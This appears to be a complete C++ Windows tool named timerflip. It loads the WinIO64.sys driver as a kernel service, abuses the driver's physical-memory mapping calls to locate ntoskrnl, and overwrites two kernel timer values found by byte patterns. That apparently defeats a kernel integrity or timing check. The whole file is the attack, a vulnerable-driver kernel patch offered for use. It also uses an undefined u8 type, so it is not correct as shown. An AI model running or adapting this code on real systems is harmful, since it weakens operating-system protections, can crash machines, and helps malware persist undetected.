timerflip.cpp

#pragma warning(disable:4996)

#include <windows.h>
#include <iostream>

typedef unsigned long u32;
typedef unsigned long long u64;

#define ioctl_map   0x80102040
#define ioctl_unmap 0x80102044
#define scan_range  0xEFFFFF

u8 sdt_pat[] = {
    0x48,0x3B,0x05,0,0,0,0,0x0F,
    0x82,0,0,0,0,0x4C,0x8D,0x1D
};

u8 idt_pat[] = {
    0x48,0x3B,0x05,0,0,0,0,0x0F,
    0x82,0,0,0,0,0x0F,0x01,0x8C
};

u64 drv = -1;
char winio_path[MAX_PATH];

struct winio_pkt
{
    u64 size;
    u64 phys_addr;
    u64 phys_handle;
    u64 phys_linear;
    u64 phys_section;
};

bool file_exists(const char* p)
{
    DWORD a = GetFileAttributesA(p);
    return (a != INVALID_FILE_ATTRIBUTES && !(a & FILE_ATTRIBUTE_DIRECTORY));
}

u64 map_phys(winio_pkt& p)
{
    u32 ret = 0;

    if (!DeviceIoControl(
        (void*)drv,
        ioctl_map,
        &p,
        sizeof(p),
        &p,
        sizeof(p),
        &ret,
        0))
        return 0;

    return p.phys_linear;
}

bool unmap_phys(winio_pkt& p)
{
    u32 ret = 0;

    return DeviceIoControl(
        (void*)drv,
        ioctl_unmap,
        &p,
        sizeof(p),
        0,
        0,
        &ret,
        0);
}

bool read_phys(u64 addr, void* buf, u64 size)
{
    winio_pkt p{};
    p.phys_addr = addr;
    p.size = size;

    u64 lin = map_phys(p);
    if (!lin)
        return false;

    memcpy(buf, (void*)lin, size);
    unmap_phys(p);

    return true;
}

bool write_phys(u64 addr, void* buf, u64 size)
{
    winio_pkt p{};
    p.phys_addr = addr;
    p.size = size;

    u64 lin = map_phys(p);
    if (!lin)
        return false;

    memcpy((void*)lin, buf, size);
    unmap_phys(p);

    return true;
}

u64 find_pat(u64 start, u64 range, u8* pat, size_t len)
{
    u8* buf = (u8*)malloc(range);
    if (!buf)
        return 0;

    read_phys(start, buf, range);

    for (u64 i = 0; i < range; i++)
    {
        bool ok = true;

        for (size_t j = 0; j < len; j++)
        {
            if (pat[j] && buf[i + j] != pat[j])
            {
                ok = false;
                break;
            }
        }

        if (ok)
        {
            u64 r = start + i;
            free(buf);
            return r;
        }
    }

    free(buf);
    return 0;
}

void load_drv(const char* name, const char* path)
{
    char c1[512];
    char c2[256];

    sprintf(c1, "sc create %s binpath=\"%s\" type=kernel >NUL", name, path);
    sprintf(c2, "sc start %s >NUL", name);

    system(c1);
    system(c2);
}

int main()
{
    printf("[*] timerflip\n");

retry:

    drv = (u64)CreateFileA(
        "\\\\.\\WinIo",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        0,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        0);

    if (drv == -1)
    {
        GetCurrentDirectoryA(MAX_PATH, winio_path);
        strcat(winio_path, "\\WinIO64.sys");

        if (!file_exists(winio_path))
        {
            printf("winio64.sys missing\n");
            system("pause");
            return -1;
        }

        system("sc stop winio_tf >NUL");
        system("sc delete winio_tf >NUL");

        load_drv("winio_tf", winio_path);
        goto retry;
    }

    printf("[+] drv: %p\n", (void*)drv);

    printf("[*] scanning ntoskrnl\n");

    u64 nt = 0;

    for (u64 i = 0; i < 0x200000000; i += 0x100000)
    {
        char mz[2];

        if (!read_phys(i, mz, 2))
            continue;

        if (mz[0] == 'M' && mz[1] == 'Z')
        {
            nt = i;
            printf("[+] ntos @ %p\n", (void*)nt);
            break;
        }
    }

    if (!nt)
    {
        printf("ntos not found\n");
        system("pause");
        return -2;
    }

    u64 sdt = find_pat(nt, scan_range, sdt_pat, sizeof(sdt_pat));
    u64 idt = find_pat(nt, scan_range, idt_pat, sizeof(idt_pat));

    if (!sdt || !idt)
    {
        printf("pattern fail\n");
        system("pause");
        return -3;
    }

    u32 so = 0;
    u32 io = 0;

    read_phys(sdt + 3, &so, 4);
    read_phys(idt + 3, &io, 4);

    u64 sdt_t = sdt + so + 7;
    u64 idt_t = idt + io + 7;

    printf("[+] sdt timer %p\n", (void*)sdt_t);
    printf("[+] idt timer %p\n", (void*)idt_t);

    u64 max = 0xffffffffffffffff;

    write_phys(sdt_t, &max, 8);
    write_phys(idt_t, &max, 8);

    printf("[+] patched\n");

    system("sc stop winio_tf >NUL");
    system("sc delete winio_tf >NUL");

    printf("[*] done\n");
    system("pause");

    return 0;
}